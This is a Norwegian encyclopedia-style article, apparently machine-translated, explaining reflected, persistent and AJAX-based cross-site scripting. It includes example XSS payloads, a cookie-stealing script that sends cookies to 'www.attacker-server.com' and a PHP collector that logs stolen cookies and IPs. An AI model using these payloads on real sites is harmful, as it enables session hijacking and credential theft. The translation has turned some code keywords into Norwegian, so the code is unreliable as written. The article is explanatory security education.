Skripting på tvers av nettsteder

En cross -site scripting eller Cross-site scripting ( XSS for akronymet på engelsk ) er en type datamaskinsårbarhet eller sikkerhetshull som er typisk for nettapplikasjoner , som kan tillate en tredjepart å injisere nettsider som besøkes av brukerens JavaScript -kode eller på et annet lignende språk (f.eks: VBScript ). [ 1 ] Det kan unngås ved å bruke tiltak som CSP , policy for same origin , etc.

Det er mulig å finne en sårbarhet for Cross-Site Scripting i applikasjoner som har blant sine funksjoner å presentere informasjonen i en nettleser eller annen beholder med nettsider . Det er imidlertid ikke begrenset til nettsteder som er tilgjengelige på Internett , da det kan være lokale applikasjoner som er sårbare for XSS, eller til og med selve nettleseren.

Angrepsmekanisme

XSS er en angrepsvektor som kan brukes til å stjele sensitiv informasjon, kapre brukerøkter og kompromittere nettleseren, og undergrave systemets integritet. XSS-sårbarheter har eksistert siden de første dagene av nettet. [ 2 ]

Denne situasjonen er vanligvis forårsaket av at inndataene som brukes i en bestemt applikasjon ikke er korrekt validert, eller at utdataene ikke er korrekt renset for presentasjon som en nettside.

Denne sårbarheten kan være til stede på følgende måter:

Direkte (også kalt vedvarende): Denne typen XSS filtreres vanligvis, og består av å sette inn farlig HTML -kode på nettsteder som tillater det; inkludert tagger som < script > eller < iframe >.

Indirekte (også kalt Reflected): Denne typen XSS består av å modifisere verdier som nettapplikasjonen bruker for å sende variabler mellom to sider, uten å bruke økter og skjer når det er en melding eller en bane i nettleserens URL , i en informasjonskapsel eller en annen HTTP-header (i enkelte nettlesere og nettapplikasjoner kan dette utvides til nettleserens DOM ).

Indirekte XSS (reflektert)

Anta at et nettsted har følgende skjema:

http://www.example.com/home.asp?frame=menu.asp

og at når du åpner, vil det opprettes et HTML-dokument som kobler en ramme til menu.asp.

I dette eksemplet, hva ville skje hvis en javascript-kode settes inn som nettadressen til rammen?

javascript : while ( 1 ) alert ( "Denne meldingen vil fortsette på ubestemt tid" );

Hvis denne koblingen er satt av en angriper mot et offer, vil en besøkende kunne se den og se at den er fra samme domene, forutsatt at den ikke kan være noe dårlig og vil ende opp med en uendelig løkke av meldinger.

En angriper ville faktisk prøve å plassere et skript som stjeler offerets informasjonskapsler, slik at de senere kan etterligne økten deres, eller automatisere prosessen ved å bruke cURL -biblioteket eller noe lignende. På denne måten, etter å ha mottatt informasjonskapselen, kunne angriperen utføre handlinger med offerets tillatelser uten engang å trenge passordet deres .

En annen vanlig bruk for disse sårbarhetene er å utføre phishing . Dette betyr at offeret ser et nettsted i adressefeltet , men faktisk befinner seg på et annet. Offeret skriver inn passordet sitt og sender det til angriperen.

En side som følgende:

feil . php ? error = Bruker % 20 Ugyldig

er sannsynligvis sårbar for indirekte XSS, siden hvis du skriver til dokumentet "Ugyldig bruker", betyr dette at en angriper kan sette inn HTML og JavaScript hvis de ville.

For eksempel, en tag som <script>kjører javascript-kode, oppretter en annen økt under en annen bruker, og sender gjeldende økt til angriperen.

For å teste for XSS-sårbarheter i informasjonskapsler, kan du enkelt endre innholdet i en informasjonskapsel ved å bruke følgende skript. Du trenger bare å plassere den i adressefeltet og trykke "Enter".

javascript : void prompt ( "Enter cookie:" , dokument . cookie ). erstatte ( /[^;]+/g , funksjon ( _ ){ document . cookie = _ ;});

Direct XSS (vedvarende)

Det fungerer ved å lokalisere svakheter i programmeringen av HTML- filtre , hvis de finnes, for å publisere innhold (som blogger, fora, etc.).

Normalt vil angriperen prøve å sette inn tagger som <iframe> eller <script>, men i tilfelle feil kan angriperen prøve å sette inn tagger som nesten alltid er tillatt, og deres evne til å kjøre kode er lite kjent. På denne måten kan angriperen kjøre ondsinnet kode.

Eksempler: En mulighet er å bruke attributter som tillater utføring av kode.

< BR STYLE = "atferd: url(http://dinside/xss.htc);" > < DIV STYLE = "bakgrunnsbilde: url(javascript:alert('XSS'))" > < IMG SRC = X ONERROR = "alert(/XSS/)" >

AJAX

Å bruke AJAX for XSS-angrep er ikke like kjent, men det er farlig. Den er basert på bruk av enhver type XSS-sårbarhet for å introdusere et XMLHttp- objekt og bruke det til å sende POST, GET innhold uten brukerens viten.

Dette har blitt populært blant XSS- ormer som tar seg av replikering gjennom vedvarende XSS-sårbarheter (selv om muligheten for å bruke reflektert XSS er mulig).

Følgende eksempelskript henter verdien av informasjonskapslene og sender dem deretter til angriperen.

JavaScript:

var UserCookies = dokument . informasjonskapsler ; var xhr = ny XMLHttpRequest (); // Ajax objekt xhr . åpen ( 'GET' , 'www.attacker-server.com/cookies.php' ); xhr . send ( 'c=' + Brukerinformasjonskapsler );

PHP (angriperens server):

<?php $fil = fopen ( 'log2.htm' , 'a' ); $cookie = $_GET [ 'c' ]; $ip = getenv ( 'REMOTE_ADDR' ); $re = $HTTPREFERRER ; $date = dato ( "j F, Y, g:i a" ); fwrite ( $file , '<br />Cookie: ' . htmlentities ( $cookie ) . '<br />Side: ' . htmlentities ( $re )); fwrite ( $file , '<br /> IP: ' . $ip . '<br /> DateTime: ' . $date . '</hr>' ); fclose ( $file ); ?>

Notater og referanser